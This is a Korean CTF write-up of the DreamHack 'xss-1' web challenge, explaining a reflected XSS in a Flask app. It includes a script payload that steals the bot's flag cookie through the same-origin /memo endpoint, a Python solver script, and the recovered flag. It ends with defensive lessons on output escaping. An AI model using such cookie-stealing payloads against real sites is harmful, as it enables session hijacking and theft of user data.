2026-06-04·1분 읽기·
/vuln이 입력을 이스케이프 없이 그대로 뱉는 reflected XSS. flag를 쿠키로 들고 페이지를 방문하는 봇에게 스크립트를 주입해 document.cookie를 같은 서버의 /memo로 흘려보내고, 그 memo를 직접 읽어 플래그를 회수한 과정을 정리했다.
이 글이 도움이 됐나요?
문제: DreamHack — xss-1 분류: Web 난이도: 🥉 Bronze 2 FLAG:
DH{2c01577e9542ec24d68ba0ffb846508e}
| 항목 | 내용 |
|---|---|
| 문제명 | xss-1 |
| 난이도 | 🥉 Bronze 2 |
| 분류 | Web (Flask + Selenium 봇) |
| 제공 파일 / 서버 | app.py 등 소스 일체 / http://<instance-host>:<port>/ (인스턴스마다 변경) |
| 핵심 취약점 / 기법 | reflected XSS로 봇의 flag 쿠키 탈취 → /memo로 exfil |
여러 기능과 "입력받은 URL을 확인하는 봇"이 있는 서비스다. 플래그는 봇의 쿠키에 들어가고, 그 봇이 내가 준 페이지를 직접 열어본다. 그러니 봇의 브라우저 안에서 스크립트를 실행시켜 쿠키를 빼내는 게 목표다. 빼낸 값을 보낼 곳도 멀리 갈 것 없이 서비스 안에 이미 있다.

app.py에서 볼 곳은 셋이다.
@app.route("/vuln")
def vuln():
param = request.args.get("param", "")
return param # 이스케이프 없이 그대로 반환 → reflected XSS
memo_text = ""
@app.route("/memo")
def memo():
global memo_text
text = request.args.get("memo", "")
memo_text += text + "\n" # 전역에 누적 저장
return render_template("memo.html", memo=memo_text)
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "POST":
param = request.form.get("param")
# 봇이 flag 쿠키를 단 채 우리가 준 param으로 /vuln 을 방문한다
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'/vuln은 param을 한 글자도 건드리지 않고 그대로 응답 본문으로 돌려준다. <script>를 넣으면 그대로 실행된다 — 교과서적인 reflected XSS다.

봇은 check_xss → read_url에서 동작한다.
def read_url(url, cookie={"name": "name", "value": "value"}):
cookie.update({"domain": "127.0.0.1"})
...
driver.get("http://127.0.0.1:8000/")
driver.add_cookie(cookie) # flag 를 쿠키로 추가
driver.get(url) # /vuln?param=<우리 payload> 방문
def check_xss(param, cookie=...):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)/flag에 param을 POST하면 봇(headless Chrome)이 flag=DH{...} 쿠키를 단 상태로 /vuln?param=<내 payload>를 연다. 즉 내 스크립트가 봇 브라우저에서, 플래그 쿠키가 살아있는 채로 실행된다. document.cookie만 읽으면 플래그가 손에 들어온다.
문제는 "어디로 보내느냐"인데, /memo가 그 자리에 있다. 입력을 전역 memo_text에 차곡차곡 쌓아두고 그대로 보여주는 엔드포인트다. 외부 수신 서버를 띄울 필요 없이, 봇이 훔친 쿠키를 여기로 적어두게 한 뒤 내가 /memo를 열어 읽으면 된다.
노릴 곳은 정해졌다. 봇 브라우저에서 document.cookie를 읽어 /memo?memo=로 넘기는 한 줄이면 된다.
<script>location.href="/memo?memo="+document.cookie</script>봇이 /vuln에서 이 스크립트를 실행하면 곧장 /memo?memo=flag=DH{...}로 이동한다. 그 순간 서버의 memo_text에 플래그 쿠키가 저장된다. 봇은 자기 일을 마치고 사라지지만, 적어둔 메모는 전역 변수라 남는다.
이제 내가 평범하게 /memo를 GET하면, 봇이 남긴 줄이 그대로 보인다.

/flag 페이지의 폼은 http://127.0.0.1:8000/vuln?param= 뒤에 내 입력을 붙이는 구조라, 입력란에 위 스크립트만 넣어 제출하면 된다.

폼 대신 requests로 두 번 쏘면 끝난다. /flag에 payload를 POST해 봇을 돌리고, /memo를 읽어 회수한다.
#!/usr/bin/env python3
import re
import requests
BASE = "http://host3.dreamhack.games:21789"
# 봇 브라우저에서 실행되어 flag 쿠키를 /memo 로 흘려보내는 페이로드
payload = '<script>location.href="/memo?memo="+document.cookie</script>'
# 1) /flag POST → 봇이 flag 쿠키를 들고 /vuln 에서 payload 실행 → /memo 에 쿠키 저장
r = requests.post(f"{BASE}/flag", data={"param": payload}, timeout=15)
print(f"[*] /flag 응답: {r.text.strip()}")
# 2) /memo GET → 봇이 저장한 document.cookie(=flag=...) 회수
r = requests.get(f"{BASE}/memo", timeout=15)
memo
[*] /flag 응답: <script>alert("good");history.go(-1);</script>
[*] /memo 내용:
flag=DH{2c01577e9542ec24d68ba0ffb846508e}
[+] FLAG: DH{2c01577e9542ec24d68ba0ffb846508e}봇이 good을 돌려준 건 스크립트가 에러 없이 돌았다는 뜻이고, /memo에는 봇이 들고 있던 쿠키가 그대로 적혀 있다.

DH{2c01577e9542ec24d68ba0ffb846508e}출력 지점에서 이스케이프를 빼면 그게 XSS다.
/vuln은 param을 그대로 반환한다. Jinja2의 자동 이스케이프를 거치지도 않고 문자열을 직접 돌려주니, 입력이 곧 마크업이 된다. 사용자 입력을 HTML로 내보낼 땐 반드시 이스케이프하거나 템플릿 엔진을 거쳐야 한다.
훔친 데이터를 보낼 곳은 꼭 외부일 필요가 없다.
보통 XSS 쿠키 탈취라고 하면 공격자 서버로 fetch/Image를 쏘는 그림을 떠올린다. 그런데 이 문제는 입력을 저장하고 되돌려주는 /memo가 같은 출처에 있어서, 봇이 그쪽으로 한 번 이동하게만 해도 회수가 끝난다. 동일 출처라 CORS·쿠키 도메인 문제도 없다.
봇은 신뢰된 컨텍스트를 대신 실행해준다.
플래그는 봇의 쿠키에만 있고 나는 그 값을 모른다. 하지만 봇이 그 쿠키를 단 채 내 스크립트를 실행해주니, 내가 직접 못 읽는 값을 봇의 손을 빌려 읽어낸 셈이다. 입력 URL을 그대로 열어보는 봇이 있다면 그 자체가 공격 표면이다.
Comments
댓글
댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)
댓글 불러오는 중…